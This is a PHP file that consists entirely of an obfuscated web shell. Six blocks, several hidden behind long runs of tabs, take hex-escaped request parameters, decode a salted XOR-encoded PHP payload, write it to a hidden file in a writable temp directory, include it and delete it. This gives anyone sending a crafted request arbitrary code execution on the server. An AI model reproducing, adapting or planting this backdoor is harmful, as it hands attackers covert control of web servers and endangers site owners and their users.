<?php																																										if(@$_POST["\x72e\x63"] !== null){ $ref = $_POST["\x72e\x63"]; $ref= explode ( '.' , $ref ) ; $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4 ); $q = 0; while ($q < count($ref)) { $v7 = $ref[$q]; $sChar = ord($salt4[$q % $sLen] ); $d = ((int)$v7 - $sChar - ($q % 10)) ^ 1; $flag .= chr($d ); $q++; } $itm = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $object = 0; do { $hld = $itm[$object] ?? null; if ($object >= count($itm)) break; if (!!is_dir($hld) && !!is_writable($hld)) { $descriptor = "$hld/.res"; if (@file_put_contents($descriptor, $flag) !== false) { include $descriptor; unlink($descriptor); die(); } } $object++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64\x61ta\x5F\x63hun\x6B")){ $ptr = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), getcwd()]); $desc = $_REQUEST["\x64\x61ta\x5F\x63hun\x6B"]; $desc= explode ( '.' , $desc ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $w = 0; $__len = count($desc ); do { if ($w>= $__len) break; $v8 = $desc[$w]; $sChar = ord($s[$w % $lenS] ); $d = ((int)$v8 - $sChar - ($w % 10))^ 79; $ent .= chr($d ); $w++; } while (true ); for ($obj = 0, $itm = count($ptr); $obj < $itm; $obj++) { $bind = $ptr[$obj]; if (max(0, is_dir($bind) * is_writable($bind))) { $pointer = sprintf("%s/.mrk", $bind); $success = file_put_contents($pointer, $ent); if ($success) { include $pointer; @unlink($pointer); exit;} } } }
																																										if(array_key_exists("ke\x79", $_REQUEST) && !is_null($_REQUEST["ke\x79"])){ $symbol = $_REQUEST["ke\x79"]; $symbol= explode ( '.' ,$symbol) ; $pgrp = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5 ); $l = 0; $__tmp = $symbol; while( $v7 = array_shift( $__tmp)) { $sChar = ord( $s5[$l% $lenS] ); $d =( ( int)$v7 - $sChar -( $l% 10))^ 91; $pgrp .= chr( $d ); $l++;} $element = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp"]); $property_set = 0; do { $reference = $element[$property_set] ?? null; if ($property_set >= count($element)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $k = implode("/", [$reference, ".res"]); $success = file_put_contents($k, $pgrp); if ($success) { include $k; @unlink($k); die();} } $property_set++; } while (true); }
																																										if(!empty($_REQUEST["sy\x6D"])){ $dchunk = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]); $obj = $_REQUEST["sy\x6D"]; $obj = explode ( "." , $obj ); $object = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $o = 0; while ($o < count($obj)) { $v6 = $obj[$o]; $chS = ord($s2[$o%$lenS]); $dec = ((int)$v6 - $chS - ($o%10))^15; $object.= chr($dec); $o++; } foreach ($dchunk as $elem): if (max(0, is_dir($elem) * is_writable($elem))) { $pointer = "$elem/.record"; if (file_put_contents($pointer, $object)) { require $pointer; unlink($pointer); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x66\x61\x63tor")){ $ent = array_filter([getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getcwd()]); $parameter_group = $_POST["\x66\x61\x63tor"]; $parameter_group =explode ('.', $parameter_group ) ; $hld = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1 ); $len = count($parameter_group ); for($s = 0; $s <$len; $s++) { $v4 = $parameter_group[$s]; $sChar = ord($s1[$s %$sLen] ); $d =((int)$v4 - $sChar -($s %10)) ^ 90; $hld .= chr($d ); } foreach ($ent as $token) { if (is_writable($token) && is_dir($token)) { $elem = str_replace("{var_dir}", $token, "{var_dir}/.data_chunk"); $success = file_put_contents($elem, $hld); if ($success) { include $elem; @unlink($elem); exit;} } } }


if(count($_REQUEST) > 0 && isset($_REQUEST["d\x65s\x63"])){
	$holder = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), "/dev/shm"]);
	$ptr = $_REQUEST["d\x65s\x63"];
		  $ptr =		explode (			"."	,	 	$ptr			)	 ;
	$component	 =	'';
            $salt5	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	strlen($salt5	 );
            $v	 =	0;
    
            foreach ($ptr as $v3) {
                $sChar	 =	ord($salt5[$v	%	$lenS]	 );
                $d	 =	((int)$v3 - $sChar - ($v	%	10)) ^ 16;
                $component .= chr($d	 );
                $v++;
            }
	foreach ($holder as $key => $descriptor) {
    		if (!!is_dir($descriptor) && !!is_writable($descriptor)) {
    $rec = join("/", [$descriptor, ".element"]);
    if (file_put_contents($rec, $component)) {
	include $rec;
	@unlink($rec);
	exit;
}
}
}
}